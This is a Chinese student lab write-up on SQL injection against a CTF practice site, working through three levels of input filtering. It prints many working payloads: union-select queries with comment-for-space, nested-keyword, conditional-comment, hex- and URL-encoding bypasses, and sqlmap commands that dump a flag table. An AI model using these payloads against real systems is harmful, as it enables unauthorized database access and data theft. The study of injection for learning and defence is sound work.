NF_Exp10_20164306
sql注入探索与实践(免考题)
一、综述
sql注入攻击实质上是利用程序设计中的漏洞实现的
如果代码在引用sql语句之前,没有对传参内容进行控制,就容易被攻击者利用
本课题基于“实验吧”提供的注入实验平台,对sql注入进行全面且深入的探索性研究
由简单到复杂,在三种过滤条件下分析sql注入方法
二、一般流程
我将实战sql注入的一般流程简述如下
1 关键字
首先枚举输入关键字,探索代码过滤的具体内容,即明确哪些内容可作为参数传入sql语句
关键字包括但不限于数字、字母、特殊符号、sql运算符
2 sql语句
然后构造参数使得代码引用sql语句时出现错误,通过错误信息对sql语句的具体内容进行判断
即明确代码具体引用了哪条或哪些sql语句
3 表单结构
实战中,为了全面深入地发掘信息,我们可能需要利用代码调用的sql语句探索表单结构甚至是数据库结构
4 辅助工具
必要时,使用辅助工具(编码、爆库 etc.)
三、情境一
界面如下所示
首先尝试输入最简单的注入代码 'or 1='1
很幸运,数据库直接就吐出了表单内容,可以看到其中有ID和name两个字段
猜测代码只是简单地调用了select语句,且没有对输入内容过滤
输入sql语句进行测试,发现部分语句被过滤
可以判断代码具有过滤机制,但并不完善,我们可以构造输入内容绕过
不幸的是,当前表单中并没有我们想要的内容(flag),我们需要对数据库结构和其他表单的内容进行探索
好在通过上述测试,我们已经发现了代码漏洞
只要构造出合适的输入内容,我们就可以随意地调用sql语句,查询其他表单中的内容
进一步实验发现代码对sql语句的过滤与空格有关
以上结果显示,代码过滤了and及and后的空格
同时,也有些sql语句不会被代码处理,比如之前实验中的or怎么都不会被代码过滤
保险起见,我在构造中用注释替换全部空格
通过select database()来确定当前的数据库名
1' union/**/select/**/database()'
数据库名为web1
此外,也可以用tab来绕过,但是%a0啥的不行
information_schema 是 MySQL 自带的信息数据库,用于存储数据库元数据(关于数据的数据)
数据库名、表名、列的数据类型、访问权限等都存储在 information_schema 之中
尝试通过information_schema获取web1中的表单信息
1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/table_schema/**/='web1
然而报错了
实验发现,代码对table_schema这个字段进行了过滤,但是information_schema是可以正常输入的
干脆就直接枚举全部的表单
1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/'1'='1
找到了一个名为flag的表单
获取form flag中的全部内容
1' union/**/select/**/*/**/from/**/flag/**/where/**/'1'='1
提示字段数量不一致,没法在使用union连接的情况下直接输出
没办法,只好先查看flag中有哪些字段
1' union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
information_schema.columns离奇消失,看来是被过滤了
大胆猜测字段名也是flag
1' union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
嗯这应该是我们要找的东西
ps:后来发现可以它不是通过判断某个单词,而是通过判断整个关键字来过滤
通过关键字里面套关键字的方法可以完成字段查看(删去套进去的内容后,留下的组合起来正常使用)
1' union/**/select/**/colucolumn_namemn_name/**/from/**/information_schema.coinformation_schema.columnslumns/**/where/**/table_name='flag
四、情境二
emmm,一样的界面
尝试最一般的 'or 1='1
好吧,开始测试被识别出的内容具体是啥
首先数字是没有问题的
数字加字母也没有问题
简单测试sql语句和特殊符号
看来是直接过滤了空格字符
查询数据库名
1'/**/union/**/select/**/database()'
失败
进一步发现是对部分sql语句进行了过滤
出现相应语句后直接禁止访问,并不是删除后再提交,所以较难定位被检测的语句,也较难构造输入内容
继续尝试,输入1'的时候提示sql语句出错
综合报错信息和地址栏内容变化,猜测代码实现原理是定位输入框,获取其中内容作为sql查询时使用的参数
网站源码验证了这一猜想
受到URL启发,尝试把字母(select)转换成16进制表示,直接在地址栏中输入
尝试加入空字符(%00)
可以通过加入空字符绕过过滤
修改一下代码
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
使用%2B表示空格,在可能被过滤的单词间加入%00
1'/**/uni%00on/**/sel%00ect/**/flag/**/from/**/flag/**/w%00here/**/'1'='1
直接在URL中输入,提示错误,看来加%00不能从根本上解决问题
尝试两次ULR编码加字母大写,也无法绕过
尝试sql语句条件注释,利用其选择执行的性质把关键字输入进去,得到了flag
1'/*!union*//*!select*/flag/*!from*/flag/*!where*/'1'='1
注意到这里的select仍然是原始状态传过去的,但没被过滤
看来可以利用php没法解释sql注释的bug绕过,直接用注释替代全部空格,就能注入成功了
(晕,折腾半天后才发现最开始的输入就能注入成功)
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
五 情境三
还是这个界面
直接尝试用注释和条件注释绕过(失败)
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
1'/*!union*//*!select*/flag/*!from*/flag/*!where*/'1'='1
条件注释加16进制编码
1'/*!u%6eion*//*!sel%65ct*/flag/*!%66rom*/flag/*!wh%65re*/'1'='1
测试关键字,发现居然是数字1被过滤了
把数字1换成字母a,用URL编码一次,再次尝试(还是 hello)
a%27%2F*%21u%6eion*%2F%2F*%21sel%65ct*%2Fflag%2F*%21%66rom*%2Fflag%2F*%21wh%65re*%2F%27a%27%3D%27a
了解到在1被过滤的情况下,可以借助sqlmap工具进行注入
具体使用方法参考了别人的writeup,攻击过程mark如下
得到数据库
sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dbs
判断数据库正确性
sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --current-db
获得表名
sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --tables
获得flag表中字段
sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --columns -T "flag"
dump具体内容
sqlmap -u "http://ctf5.shiyanbar.com/web/index_3.php?id=1" --dump -C "flag" -T "flag"
实质是一个暴力脚本,所以跑起来比较慢
跑完后得到结果
六 总结
通过实践对sql注入有了深入的了解
除了提及的空格绕过、URL编码,16进制编码,sqlmap等方法,还有布尔盲注等其他技巧可用于攻击
只有深刻理解原理,熟练掌握技巧,才能在实战中游刃有余
纯手工sql注入任重道远